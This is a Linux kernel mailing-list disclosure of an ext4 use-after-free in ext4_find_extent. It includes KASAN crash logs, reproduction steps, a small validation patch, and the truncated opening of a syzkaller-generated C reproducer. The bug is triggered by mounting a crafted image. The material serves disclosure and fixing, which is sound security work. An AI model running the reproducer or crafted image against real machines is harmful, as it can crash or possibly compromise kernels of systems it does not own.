[PATCH] ext4: Fix KASAN use-after-free in ext4_find_extent

From: 余昊铖

Date: Tue Dec 09 2025 - 07:29:26 EST


Hello,


I would like to report a potential security issue in the Linux kernel ext4 filesystem, which I found using a modified syzkaller-based kernel fuzzing tool that I developed.



Summary

-------

A local unprivileged user can trigger a use-after-free vulnerability in `ext4_find_extent()` by mounting a crafted ext4 filesystem image and performing file operations.

The vulnerability is caused by missing validation of the inode's root extent header. `ext4_find_extent()` proceeds to use the root extent header without verifying its consistency. A corrupted root extent header can lead to out-of-bounds memory access or the creation of a corrupted `path` array containing invalid pointers. When `ext4_ext_correct_indexes()` (or other functions consuming the path) is subsequently called, it dereferences these invalid pointers, leading to a Use-After-Free (UAF).

By the way, the same reproducer can also triggers slab-out-of-bounds and slab-use-after-free problem in ext4_ext_correct_indexes(). But I haven't figured out why and how to patch it after a week's effort.


I have extracted the crafted ext4 image. And the image passes e2fsck checks without reporting any error:

e2fsck 1.45.5 (07-Jan-2020)
Pass 1: Checking inodes, blocks, and sizes
Pass 2: Checking directory structure
Pass 3: Checking directory connectivity
Pass 4: Checking reference counts
Pass 5: Checking group summary information
./image.img: 11/16 files (0.0% non-contiguous), 21/64 blocks


I verified this on Linux kernel version 6.12.51.



Environment

-----------

- Kernel version: 6.12.51 (the complete config is attached)
- Architecture: x86_64
- Hypervisor: QEMU (Standard PC i440FX + PIIX, BIOS 1.13.0-1ubuntu1.1)
- Filesystem: ext4, mounted from a crafted disk image via /dev/loopN



Symptoms and logs

-----------------

When running the syzkaller reproducer, the kernel crashes with a KASAN use-after-free report.

Relevant part of the KASAN report:

[ 21.827456] BUG: KASAN: use-after-free in ext4_find_extent+0x90f/0x9f0
[ 21.828241] EXT4-fs error (device loop2): ext4_map_blocks:707: inode #12: block 335007449088: comm kworker/u9)
[ 21.828301] Read of size 4 at addr ffff88801300a800 by task kworker/u10:3/1232
[ 21.829248]
[ 21.829329] CPU: 1 UID: 0 PID: 1232 Comm: kworker/u10:3 Not tainted 6.12.51 #38
[ 21.829336] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.13.0-1ubuntu1.1 04/01/2014
[ 21.829341] Workqueue: writeback wb_workfn (flush-7:7)
[ 21.829349] Call Trace:
[ 21.829351] <TASK>
[ 21.829354] dump_stack_lvl+0x7d/0xa0
[ 21.829368] print_report+0xcf/0x610
[ 21.829376] ? __virt_addr_valid+0xcb/0x320
[ 21.829385] ? ext4_find_extent+0x90f/0x9f0
[ 21.829392] kasan_report+0xb5/0xe0
[ 21.829400] ? ext4_find_extent+0x90f/0x9f0
[ 21.829407] ext4_find_extent+0x90f/0x9f0
[ 21.829415] ext4_ext_map_blocks+0x13d/0x35b0
[ 21.829423] ? ext4_alloc_io_end_vec+0x25/0x160
[ 21.829432] ? ext4_do_writepages+0x12ea/0x2bd0
[ 21.829439] ? ext4_writepages+0x274/0x500
[ 21.829445] ? __pfx_ext4_ext_map_blocks+0x10/0x10
[ 21.829453] ? percpu_counter_add_batch+0x106/0x250
[ 21.829464] ? __pfx_percpu_counter_add_batch+0x10/0x10
[ 21.829474] ? down_write+0xb3/0x130
[ 21.829483] ? __pfx_down_write+0x10/0x10
[ 21.829490] ? _raw_read_unlock+0x12/0x40
[ 21.829499] ? ext4_es_lookup_extent+0xb1/0x9a0
[ 21.829508] ext4_map_blocks+0x36a/0x10f0
[ 21.829518] ? __pfx_ext4_map_blocks+0x10/0x10
[ 21.829527] ? kasan_save_track+0x14/0x30
[ 21.829534] ? __kasan_slab_alloc+0x59/0x70
[ 21.829542] ? kmem_cache_alloc_noprof+0xe2/0x230
[ 21.829548] ? ext4_journal_check_start+0x165/0x270
[ 21.829554] ext4_do_writepages+0x1690/0x2bd0
[ 21.829561] ? folio_end_writeback+0x150/0x1e0
[ 21.829569] ? __pfx_ext4_do_writepages+0x10/0x10
[ 21.829575] ? writeback_iter+0x6bd/0xd40
[ 21.829584] ? __pfx_blkdev_get_block+0x10/0x10
[ 21.829591] ? __pfx_block_write_full_folio+0x10/0x10
[ 21.829600] ? write_cache_pages+0xc6/0x110
[ 21.829609] ? ext4_writepages+0x274/0x500
[ 21.829615] ext4_writepages+0x274/0x500
[ 21.829621] ? __pfx_ext4_writepages+0x10/0x10
[ 21.829627] ? blk_finish_plug+0x16/0xa0
[ 21.829638] ? __pfx__raw_spin_lock+0x10/0x10
[ 21.829643] ? __pfx__raw_spin_lock_irqsave+0x10/0x10
[ 21.829653] ? __pfx_ext4_writepages+0x10/0x10
[ 21.829659] do_writepages+0x182/0x760
[ 21.829669] ? __pfx_do_writepages+0x10/0x10
[ 21.829678] ? _raw_spin_lock+0x80/0xe0
[ 21.829684] ? __pfx__raw_spin_lock+0x10/0x10
[ 21.829690] __writeback_single_inode+0xb4/0x910
[ 21.829700] writeback_sb_inodes+0x561/0xc50
[ 21.829710] ? fprop_reflect_period_percpu.isra.0+0x1c/0x2a0
[ 21.829718] ? __pfx_writeback_sb_inodes+0x10/0x10
[ 21.829730] ? __pfx_down_read_trylock+0x10/0x10
[ 21.829736] ? wb_over_bg_thresh+0xbe/0x200
[ 21.829744] ? __pfx_move_expired_inodes+0x10/0x10
[ 21.829752] __writeback_inodes_wb+0xbc/0x230
[ 21.829761] wb_writeback+0x4ff/0x760
[ 21.829771] ? wb_over_bg_thresh+0xbe/0x200
[ 21.829779] ? __pfx_wb_writeback+0x10/0x10
[ 21.829789] ? get_nr_dirty_inodes+0xf7/0x180
[ 21.829797] wb_workfn+0x586/0x990
[ 21.829803] ? __pfx_wb_workfn+0x10/0x10
[ 21.829808] ? kick_pool+0x1b4/0x5a0
[ 21.829814] process_scheduled_works+0x923/0x10e0
[ 21.829824] worker_thread+0x434/0xa10
[ 21.829833] ? __kthread_parkme+0xe3/0x160
[ 21.829843] ? __pfx_worker_thread+0x10/0x10
[ 21.829852] kthread+0x2c7/0x3c0
[ 21.829857] ? __pfx_kthread+0x10/0x10
[ 21.829862] ret_from_fork+0x48/0x80
[ 21.829870] ? __pfx_kthread+0x10/0x10
[ 21.829875] ret_from_fork_asm+0x1a/0x30
[ 21.829884] </TASK>



The KASAN report about the bug in ext4_ext_correct_indexes:

[ 19.129192] BUG: KASAN: slab-out-of-bounds in ext4_ext_correct_indexes+0x41b/0x490
[ 19.129725] Read of size 8 at addr ffff888008a4a2a0 by task repro/251
[ 19.130106] EXT4-fs error (device loop1): ext4_write_end:1329: inode #12: comm repro: mark_inode_dirty error
[ 19.130171]
[ 19.130175] CPU: 1 UID: 0 PID: 251 Comm: repro Not tainted 6.12.51 #38
[ 19.130186] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.13.0-1ubuntu1.1 04/01/2014
[ 19.130192] Call Trace:
[ 19.130196] <TASK>
[ 19.130199] dump_stack_lvl+0x7d/0xa0
[ 19.130224] print_report+0xcf/0x610
[ 19.130237] ? __virt_addr_valid+0xcb/0x320
[ 19.130250] ? ext4_ext_correct_indexes+0x41b/0x490
[ 19.130262] kasan_report+0xb5/0xe0
[ 19.130275] ? ext4_ext_correct_indexes+0x41b/0x490
[ 19.130287] ext4_ext_correct_indexes+0x41b/0x490
[ 19.130299] ? ext4_ext_try_to_merge+0x509/0x690
[ 19.130311] ext4_ext_insert_extent+0xb0f/0x3c00
[ 19.130325] ? __read_extent_tree_block+0x234/0x4c0
[ 19.130336] ? __pfx_ext4_mb_new_blocks+0x10/0x10
[ 19.130353] ? __pfx_ext4_ext_insert_extent+0x10/0x10
[ 19.130366] ? ext4_ext_search_right+0x2bf/0xb50
[ 19.130379] ext4_ext_map_blocks+0x1378/0x35b0
[ 19.130392] ? __pfx_ext4_ext_map_blocks+0x10/0x10
[ 19.130405] ? percpu_counter_add_batch+0x106/0x250
[ 19.130423] ? __pfx_percpu_counter_add_batch+0x10/0x10
[ 19.130440] ? __pfx_down_write+0x10/0x10
[ 19.130452] ? _raw_read_unlock+0x12/0x40
[ 19.130467] ? ext4_es_lookup_extent+0xb1/0x9a0
[ 19.130483] ext4_map_blocks+0x36a/0x10f0
[ 19.130499] ? find_get_block_common+0x4c7/0x880
[ 19.130512] ? __pfx_ext4_map_blocks+0x10/0x10
[ 19.130528] ? __crc32c_le_base+0x35c/0x5a0
[ 19.130541] ? bdev_getblk+0x5a/0x4b0
[ 19.130554] ? chksum_update+0x50/0xb0
[ 19.130565] ? ext4_inode_csum.isra.0+0x314/0x860
[ 19.130580] _ext4_get_block+0x1a7/0x510
[ 19.130596] ? __pfx__ext4_get_block+0x10/0x10
[ 19.130611] ? __pfx___filemap_add_folio+0x10/0x10
[ 19.130625] ? xas_start+0x100/0x350
[ 19.130638] ext4_get_block_unwritten+0x29/0xd0
[ 19.130654] ext4_block_write_begin+0x316/0xb90
[ 19.130664] ? __pfx_ext4_get_block_unwritten+0x10/0x10
[ 19.130680] ? deref_stack_reg+0x37/0x80
[ 19.130693] ? __pfx_ext4_block_write_begin+0x10/0x10
[ 19.130703] ? ext4_journal_check_start+0x165/0x270
[ 19.130713] ? folio_mapping+0xad/0x1c0
[ 19.130725] ext4_write_begin+0x51e/0xb20
[ 19.130735] ? inode_to_bdi+0x9c/0x140
[ 19.130747] ? __pfx_ext4_write_begin+0x10/0x10
[ 19.130758] ? arch_stack_walk+0x9d/0xf0
[ 19.130774] ext4_da_write_begin+0x53a/0x680
[ 19.130785] ? iter_file_splice_write+0x1b3/0xef0
[ 19.130797] ? __pfx_stack_trace_save+0x10/0x10
[ 19.130811] ? __pfx_ext4_da_write_begin+0x10/0x10
[ 19.130822] ? ext4_da_write_end+0x1df/0xaa0
[ 19.130833] ? timestamp_truncate+0x1b7/0x2a0
[ 19.130845] generic_perform_write+0x24f/0x700
[ 19.130856] ? __pfx_generic_perform_write+0x10/0x10
[ 19.130868] ? __pfx_down_write+0x10/0x10
[ 19.130880] ext4_buffered_write_iter+0xf8/0x350
[ 19.130897] ext4_file_write_iter+0x2e3/0x1130
[ 19.130914] ? __pfx_ext4_file_write_iter+0x10/0x10
[ 19.130929] ? kasan_save_track+0x14/0x30
[ 19.130940] ? __kasan_kmalloc+0x7f/0x90
[ 19.130951] ? splice_from_pipe_next.part.0+0x12e/0x430
[ 19.130964] iter_file_splice_write+0x8b2/0xef0
[ 19.130977] ? __pfx_iter_file_splice_write+0x10/0x10
[ 19.130992] ? ext4_file_splice_read+0xf4/0x140
[ 19.131007] ? __pfx_iter_file_splice_write+0x10/0x10
[ 19.131019] direct_splice_actor+0x181/0x5c0
[ 19.131030] splice_direct_to_actor+0x32d/0x920
[ 19.131042] ? __pfx_direct_splice_actor+0x10/0x10
[ 19.131054] ? __pfx_futex_wake_mark+0x10/0x10
[ 19.131068] ? __pfx_splice_direct_to_actor+0x10/0x10
[ 19.131081] ? __pfx_direct_splice_actor+0x10/0x10
[ 19.131092] do_splice_direct_actor+0x169/0x230
[ 19.131103] ? __pfx_do_splice_direct_actor+0x10/0x10
[ 19.131115] ? __pfx_direct_file_splice_eof+0x10/0x10
[ 19.131126] ? avc_policy_seqno+0x9/0x20
[ 19.131141] ? selinux_file_permission+0x30/0x480
[ 19.131155] do_splice_direct+0x41/0x60
[ 19.131166] ? __pfx_direct_splice_actor+0x10/0x10
[ 19.131177] do_sendfile+0x9e0/0xd10
[ 19.131188] ? __pfx_do_sendfile+0x10/0x10
[ 19.131198] ? __x64_sys_futex+0x1b1/0x400
[ 19.131210] ? __x64_sys_futex+0x1ba/0x400
[ 19.131223] __x64_sys_sendfile64+0x12e/0x1e0
[ 19.131236] ? __pfx___x64_sys_sendfile64+0x10/0x10
[ 19.131248] ? restore_fpregs_from_fpstate+0xcd/0x100
[ 19.131259] ? switch_fpu_return+0x100/0x230
[ 19.131269] do_syscall_64+0xaa/0x1b0
[ 19.131282] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 19.131298] RIP: 0033:0x456ded
[ 19.131305] Code: c3 e8 f7 29 00 00 0f 1f 80 00 00 00 00 f3 0f 1e fa 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 88
[ 19.131316] RSP: 002b:00007efe43d4ad58 EFLAGS: 00000213 ORIG_RAX: 0000000000000028
[ 19.131326] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 0000000000456ded
[ 19.131332] RDX: 0000200000000180 RSI: 0000000000000004 RDI: 0000000000000004
[ 19.131339] RBP: 00007efe43d4ad80 R08: 0000000000000000 R09: 0000000000000000
[ 19.131344] R10: 000000000000c717 R11: 0000000000000213 R12: 00007fff68ae161e
[ 19.131351] R13: 00007fff68ae161f R14: 00007fff68ae16c0 R15: 00007efe43d4ae80
[ 19.131359] </TASK>


[ 24.218701] BUG: KASAN: slab-use-after-free in ext4_ext_correct_indexes+0x411/0x490
[ 24.219077] Read of size 8 at addr ffff8880092a67b0 by task repro/231
[ 24.219390]
[ 24.219502] CPU: 1 UID: 0 PID: 231 Comm: repro Not tainted 6.12.51 #38
[ 24.219509] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.13.0-1ubuntu1.1 04/01/2014
[ 24.219513] Call Trace:
[ 24.219516] <TASK>
[ 24.219519] dump_stack_lvl+0x7d/0xa0
[ 24.219538] print_report+0xcf/0x610
[ 24.219547] ? __virt_addr_valid+0xcb/0x320
[ 24.219557] ? ext4_ext_correct_indexes+0x411/0x490
[ 24.219565] kasan_report+0xb5/0xe0
[ 24.219573] ? ext4_ext_correct_indexes+0x411/0x490
[ 24.219582] ext4_ext_correct_indexes+0x411/0x490
[ 24.219590] ? ext4_ext_try_to_merge+0x509/0x690
[ 24.219599] ext4_ext_insert_extent+0xb0f/0x3c00
[ 24.219608] ? __read_extent_tree_block+0x234/0x4c0
[ 24.219622] ? __pfx_ext4_mb_new_blocks+0x10/0x10
[ 24.219634] ? __pfx_ext4_ext_insert_extent+0x10/0x10
[ 24.219643] ? ext4_ext_search_right+0x2bf/0xb50
[ 24.219651] ext4_ext_map_blocks+0x1378/0x35b0
[ 24.219661] ? __pfx_ext4_ext_map_blocks+0x10/0x10
[ 24.219669] ? percpu_counter_add_batch+0x106/0x250
[ 24.219683] ? __pfx_percpu_counter_add_batch+0x10/0x10
[ 24.219694] ? __pfx_down_write+0x10/0x10
[ 24.219703] ? _raw_read_unlock+0x12/0x40
[ 24.219713] ? ext4_es_lookup_extent+0xb1/0x9a0
[ 24.219724] ext4_map_blocks+0x36a/0x10f0
[ 24.219735] ? find_get_block_common+0x4c7/0x880
[ 24.219745] ? __pfx_ext4_map_blocks+0x10/0x10
[ 24.219755] ? create_empty_buffers+0x2c/0x350
[ 24.219763] ? __crc32c_le_base+0x35c/0x5a0
[ 24.219773] ? bdev_getblk+0x5a/0x4b0
[ 24.219782] ? chksum_update+0x50/0xb0
[ 24.219789] ? ext4_inode_csum.isra.0+0x314/0x860
[ 24.219800] _ext4_get_block+0x1a7/0x510
[ 24.219811] ? __pfx__ext4_get_block+0x10/0x10
[ 24.219821] ? __pfx___filemap_add_folio+0x10/0x10
[ 24.219831] ? xas_start+0x100/0x350
[ 24.219840] ext4_get_block_unwritten+0x29/0xd0
[ 24.219851] ext4_block_write_begin+0x316/0xb90
[ 24.219858] ? __pfx_ext4_get_block_unwritten+0x10/0x10
[ 24.219869] ? deref_stack_reg+0x37/0x80
[ 24.219878] ? __pfx_ext4_block_write_begin+0x10/0x10
[ 24.219884] ? ext4_journal_check_start+0x165/0x270
[ 24.219891] ? folio_mapping+0xad/0x1c0
[ 24.219899] ext4_write_begin+0x51e/0xb20
[ 24.219907] ? inode_to_bdi+0x9c/0x140
[ 24.219915] ? __pfx_ext4_write_begin+0x10/0x10
[ 24.219922] ? arch_stack_walk+0x9d/0xf0
[ 24.219933] ext4_da_write_begin+0x53a/0x680
[ 24.219941] ? iter_file_splice_write+0x1b3/0xef0
[ 24.219949] ? __pfx_stack_trace_save+0x10/0x10
[ 24.219959] ? __pfx_ext4_da_write_begin+0x10/0x10
[ 24.219967] ? ext4_da_write_end+0x1df/0xaa0
[ 24.219974] ? timestamp_truncate+0x1b7/0x2a0
[ 24.219982] generic_perform_write+0x24f/0x700
[ 24.219990] ? __pfx_generic_perform_write+0x10/0x10
[ 24.219997] ? __pfx_down_write+0x10/0x10
[ 24.220006] ext4_buffered_write_iter+0xf8/0x350
[ 24.220018] ext4_file_write_iter+0x2e3/0x1130
[ 24.220029] ? __pfx_ext4_file_write_iter+0x10/0x10
[ 24.220040] ? kasan_save_track+0x14/0x30
[ 24.220048] ? __kasan_kmalloc+0x7f/0x90
[ 24.220055] ? splice_from_pipe_next.part.0+0x12e/0x430
[ 24.220064] iter_file_splice_write+0x8b2/0xef0
[ 24.220073] ? __pfx_iter_file_splice_write+0x10/0x10
[ 24.220083] ? ext4_file_splice_read+0xf4/0x140
[ 24.220094] ? __pfx_iter_file_splice_write+0x10/0x10
[ 24.220102] direct_splice_actor+0x181/0x5c0
[ 24.220110] splice_direct_to_actor+0x32d/0x920
[ 24.220118] ? __pfx_direct_splice_actor+0x10/0x10
[ 24.220126] ? __pfx_futex_wake_mark+0x10/0x10
[ 24.220136] ? __pfx_splice_direct_to_actor+0x10/0x10
[ 24.220145] ? __pfx_direct_splice_actor+0x10/0x10
[ 24.220152] do_splice_direct_actor+0x169/0x230
[ 24.220160] ? __pfx_do_splice_direct_actor+0x10/0x10
[ 24.220168] ? __pfx_direct_file_splice_eof+0x10/0x10
[ 24.220176] ? avc_policy_seqno+0x9/0x20
[ 24.220187] ? selinux_file_permission+0x30/0x480
[ 24.220197] do_splice_direct+0x41/0x60
[ 24.220204] ? __pfx_direct_splice_actor+0x10/0x10
[ 24.220212] do_sendfile+0x9e0/0xd10
[ 24.220219] ? __pfx_do_sendfile+0x10/0x10
[ 24.220226] ? __x64_sys_futex+0x1b1/0x400
[ 24.220235] ? __x64_sys_futex+0x1ba/0x400
[ 24.220243] __x64_sys_sendfile64+0x12e/0x1e0
[ 24.220252] ? __pfx___x64_sys_sendfile64+0x10/0x10
[ 24.220261] ? restore_fpregs_from_fpstate+0xcd/0x100
[ 24.220269] ? switch_fpu_return+0x100/0x230
[ 24.220276] do_syscall_64+0xaa/0x1b0
[ 24.220285] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 24.220296] RIP: 0033:0x456ded
[ 24.220301] Code: c3 e8 f7 29 00 00 0f 1f 80 00 00 00 00 f3 0f 1e fa 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 88
[ 24.220308] RSP: 002b:00007f6ca0151d58 EFLAGS: 00000213 ORIG_RAX: 0000000000000028
[ 24.220315] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 0000000000456ded
[ 24.220320] RDX: 0000200000000180 RSI: 0000000000000004 RDI: 0000000000000004
[ 24.220324] RBP: 00007f6ca0151d80 R08: 0000000000000000 R09: 0000000000000000
[ 24.220328] R10: 000000000000c717 R11: 0000000000000213 R12: 00007ffdb5843c2e
[ 24.220332] R13: 00007ffdb5843c2f R14: 00007ffdb5843cd0 R15: 00007f6ca0151e80
[ 24.220337] </TASK>



Reproduce

----------

The issue is reproducible with a C program generated automatically. But this bug triggers on average only once every twenty runs or more, and each time requires restarting the QEMU. In my tests, the crash usually occurs within the first 40 seconds after QEMU starts. Therefore, if QEMU runs for more than 40 seconds, you can restart it for the next test.


The reproducer triggers the vulnerability through the following sequence:

1. Preparation: The program forks multiple child processes that continuously loop.

2. Mounting: It mounts a crafted ext4 image where a specific inode has a corrupted Extent Header.

3. Triggering: The processes execute file operations (like `sendfile` or `write`) on the corrupted file. These calls invoke `ext4_find_extent()`.

4. Vulnerability: `ext4_find_extent()` reads the invalid root header without validation. The subsequent binary search reads out-of-bounds data into the `path` array.

5. Crash: When `ext4_ext_correct_indexes()` (or similar) is called, it dereferences the invalid pointers in the `path` array, triggering the Slab-Use-After-Free.


I am attaching the full C program for convenience. Also, I have extracted the file system and attached it as image.img.



Security impact

---------------

This vulnerability allows a local unprivileged user to trigger a Use-After-Free (UAF) in the Linux kernel by mounting a crafted ext4 filesystem image.

The immediate impact is a Denial of Service (DoS) due to a kernel crash/panic. However, as this involves accessing a freed slab object, it may be exploitable for Local Privilege Escalation (LPE) if the attacker can groom the heap to replace the freed object with a controlled structure.

This attack surface is particularly relevant in environments where unprivileged users are permitted to mount filesystem images (e.g., via user namespaces).



Patch

--------------

From d048862ceac9b9c16842270b023d92f33b159ace Mon Sep 17 00:00:00 2001
From: 0ne1r0s <yuhaocheng035@xxxxxxxxx>
Date: Tue, 9 Dec 2025 18:42:12 +0800
Subject: [PATCH] This patch fixes a use-after-free vulnerability in
`ext4_find_extent()` that occurs when processing a corrupted filesystem
image.


When traversing the extent tree, the kernel previously failed to validate the root extent header before using it. A corrupted root extent header (e.g., invalid `eh_entries`, `eh_depth`, etc.) can cause the binary search to calculate pointers beyond the allocated extent block or produce a path with invalid data. This leads to out-of-bounds memory access. Subsequently, when this corrupted path is used (e.g. in `ext4_ext_correct_indexes()`), it triggers a Use-After-Free or Slab-Out-Of-Bounds.



The fix adds a consistency check in `ext4_find_extent()` to validate the root extent header. It ensures that the header fields are valid before proceeding with the binary search. If the check fails, the function reports an error via `EXT4_ERROR_INODE` and returns `-EFSCORRUPTED`, preventing the unsafe memory access.



Signed-off-by: 0ne1r0s <yuhaocheng035@xxxxxxxxx>

---
fs/ext4/extents.c | 3 +++
1 file changed, 3 insertions(+)


diff --git a/fs/ext4/extents.c b/fs/ext4/extents.c

index 34e25eee6521..b09f664695f2 100644
--- a/fs/ext4/extents.c
+++ b/fs/ext4/extents.c
@@ -904,6 +904,9 @@ ext4_find_extent(struct inode *inode, ext4_lblk_t block,

goto err;

}

+ ret = ext4_ext_check(inode, eh, depth, 0);
+
if (ret) goto err;
+

if (path) {

ext4_ext_drop_refs(path);

if (depth > path[0].p_maxdepth) {
--
2.51.0



Request

-------

Could you please confirm if this is a known issue? And if it is considered a new security vulnerability, I would like to request or coordinate a CVE ID for it and will reference the relevant patch / mailing list thread in the CVE description.



Thank you very much for your time and for maintaining ext4.



Best regards,
Haocheng Yu
Zhejiang University



Attachment: .config
Description: Binary data

Attachment: ext4_find_extent.patch
Description: Binary data

Attachment: image.img
Description: Binary data

#define _GNU_SOURCE

#include <dirent.h>
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <pthread.h>
#include <setjmp.h>
#include <signal.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/mount.h>
#include <sys/prctl.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>

#include <linux/futex.h>
#include <linux/loop.h>

#ifndef __NR_memfd_create
#define __NR_memfd_create 319
#endif

static unsigned long long procid;

static void sleep_ms(uint64_t ms)
{
usleep(ms * 1000);
}

static uint64_t current_time_ms(void)
{
struct timespec ts;
if (clock_gettime(CLOCK_MONOTONIC, &ts))
exit(1);
return (uint64_t)ts.tv_sec * 1000 + (uint64_t)ts.tv_nsec / 1000000;
}

static void thread_start(void* (*fn)(void*), void* arg)
{
pthread_t th;
pthread_attr_t attr;
pthread_attr_init(&attr);
pthread_attr_setstacksize(&attr, 128 << 10);
int i = 0;
for (; i < 100; i++) {
if (pthread_create(&th, &attr, fn, arg) == 0) {
pthread_attr_destroy(&attr);
return;
}
if (errno == EAGAIN) {
usleep(50);
continue;
}
break;
}
exit(1);
}

typedef struct {
int state;
} event_t;

static void event_init(event_t* ev)
{
ev->state = 0;
}

static void event_reset(event_t* ev)
{
ev->state = 0;
}

static void event_set(event_t* ev)
{
if (ev->state)
exit(1);
__atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000);
}

static void event_wait(event_t* ev)
{
while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
}

static int event_isset(event_t* ev)
{
return __atomic_load_n(&ev->state, __ATOMIC_ACQUIRE);
}

static int event_timedwait(event_t* ev, uint64_t timeout)
{
uint64_t start = current_time_ms();
uint64_t now = start;
for (;;) {
uint64_t remain = timeout - (now - start);
struct timespec ts;
ts.tv_sec = remain / 1000;
ts.tv_nsec = (remain % 1000) * 1000 * 1000;
syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, &ts);
if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
return 1;
now = current_time_ms();
if (now - start > timeout)
return 0;
}
}

static bool write_file(const char* file, const char* what, ...)
{
char buf[1024];
va_list args;
va_start(args, what);
vsnprintf(buf, sizeof(buf), what, args);
va_end(args);
buf[sizeof(buf) - 1] = 0;
int len = strlen(buf);
int fd = open(file, O_WRONLY | O_CLOEXEC);
if (fd == -1)
return false;
if (write(fd, buf, len) != len) {
int err = errno;
close(fd);
errno = err;
return false;
}
close(fd);
return true;
}

static long syz_create_resource(volatile long val)
{
return val;
}

//% This code is derived from puff.{c,h}, found in the zlib development. The
//% original files come with the following copyright notice:

//% Copyright (C) 2002-2013 Mark Adler, all rights reserved
//% version 2.3, 21 Jan 2013
//% This software is provided 'as-is', without any express or implied
//% warranty. In no event will the author be held liable for any damages
//% arising from the use of this software.
//% Permission is granted to anyone to use this software for any purpose,
//% including commercial applications, and to alter it and redistribute it
//% freely, subject to the following restrictions:
//% 1. The origin of this software must not be misrepresented; you must not
//% claim that you wrote the original software. If you use this software
//% in a product, an acknowledgment in the product documentation would be
//% appreciated but is not required.
//% 2. Altered source versions must be plainly marked as such, and must not be
//% misrepresented as being the original software.
//% 3. This notice may not be removed or altered from any source distribution.
//% Mark Adler madler@xxxxxxxxxxxxxxxxxx

//% BEGIN CODE DERIVED FROM puff.{c,h}

#define MAXBITS 15
#define MAXLCODES 286
#define MAXDCODES 30
#define MAXCODES (MAXLCODES + MAXDCODES)
#define FIXLCODES 288

struct puff_state {
unsigned char* out;
unsigned long outlen;
unsigned long outcnt;
const unsigned char* in;
unsigned long inlen;
unsigned long incnt;
int bitbuf;
int bitcnt;
jmp_buf env;
};
static int puff_bits(struct puff_state* s, int need)
{
long val = s->bitbuf;
while (s->bitcnt < need) {
if (s->incnt == s->inlen)
longjmp(s->env, 1);
val |= (long)(s->in[s->incnt++]) << s->bitcnt;
s->bitcnt += 8;
}
s->bitbuf = (int)(val >> need);
s->bitcnt -= need;
return (int)(val & ((1L << need) - 1));
}
static int puff_stored(struct puff_state* s)
{
s->bitbuf = 0;
s->bitcnt = 0;
if (s->incnt + 4 > s->inlen)
return 2;
unsigned len = s->in[s->incnt++];
len |= s->in[s->incnt++] << 8;
if (s->in[s->incnt++] != (~len & 0xff) ||
s->in[s->incnt++] != ((~len >> 8) & 0xff))
return -2;
if (s->incnt + len > s->inlen)
return 2;
if (s->outcnt + len > s->outlen)
return 1;
for (; len--; s->outcnt++, s->incnt++) {
if (s->in[s->incnt])
s->out[s->outcnt] = s->in[s->incnt];
}
return 0;
}
struct puff_huffman {
short* count;
short* symbol;
};
static int puff_decode(struct puff_state* s, const struct puff_huffman* h)
{
int first = 0;
int index = 0;
int bitbuf = s->bitbuf;
int left = s->bitcnt;
int code = first = index = 0;
int len = 1;
short* next = h->count + 1;
while (1) {
while (left--) {
code |= bitbuf & 1;
bitbuf >>= 1;
int count = *next++;
if (code - count < first) {
s->bitbuf = bitbuf;
s->bitcnt = (s->bitcnt - len) & 7;
return h->symbol[index + (code - first)];
}
index += count;
first += count;
first <<= 1;
code <<= 1;
len++;
}
left = (MAXBITS + 1) - len;
if (left == 0)
break;
if (s->incnt == s->inlen)
longjmp(s->env, 1);
bitbuf = s->in[s->incnt++];
if (left > 8)
left = 8;
}
return -10;
}
static int puff_construct(struct puff_huffman* h, const short* length, int n)
{
int len;
for (len = 0; len <= MAXBITS; len++)
h->count[len] = 0;
int symbol;
for (symbol = 0; symbol < n; symbol++)
(h->count[length[symbol]])++;
if (h->count[0] == n)
return 0;
int left = 1;
for (len = 1; len <= MAXBITS; len++) {
left <<= 1;
left -= h->count[len];
if (left < 0)
return left;
}
short offs[MAXBITS + 1];
offs[1] = 0;
for (len = 1; len < MAXBITS; len++)
offs[len + 1] = offs[len] + h->count[len];
for (symbol = 0; symbol < n; symbol++)
if (length[symbol] != 0)
h->symbol[offs[length[symbol]]++] = symbol;
return left;
}
static int puff_codes(struct puff_state* s, const struct puff_huffman* lencode,
const struct puff_huffman* distcode)
{
static const short lens[29] = {3, 4, 5, 6, 7, 8, 9, 10, 11, 13,
15, 17, 19, 23, 27, 31, 35, 43, 51, 59,
67, 83, 99, 115, 131, 163, 195, 227, 258};
static const short lext[29] = {0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 2, 2, 2,
2, 3, 3, 3, 3, 4, 4, 4, 4, 5, 5, 5, 5, 0};
static const short dists[30] = {
1, 2, 3, 4, 5, 7, 9, 13, 17, 25,
33, 49, 65, 97, 129, 193, 257, 385, 513, 769,
1025, 1537, 2049, 3073, 4097, 6145, 8193, 12289, 16385, 24577};
static const short dext[30] = {0, 0, 0, 0, 1, 1, 2, 2, 3, 3,
4, 4, 5, 5, 6, 6, 7, 7, 8, 8,
9, 9, 10, 10, 11, 11, 12, 12, 13, 13};
int symbol;
do {
symbol = puff_decode(s, lencode);
if (symbol < 0)
return symbol;
if (symbol < 256) {
if (s->outcnt == s->outlen)
return 1;
if (symbol)
s->out[s->outcnt] = symbol;
s->outcnt++;
} else if (symbol > 256) {
symbol -= 257;
if (symbol >= 29)
return -10;
int len = lens[symbol] + puff_bits(s, lext[symbol]);
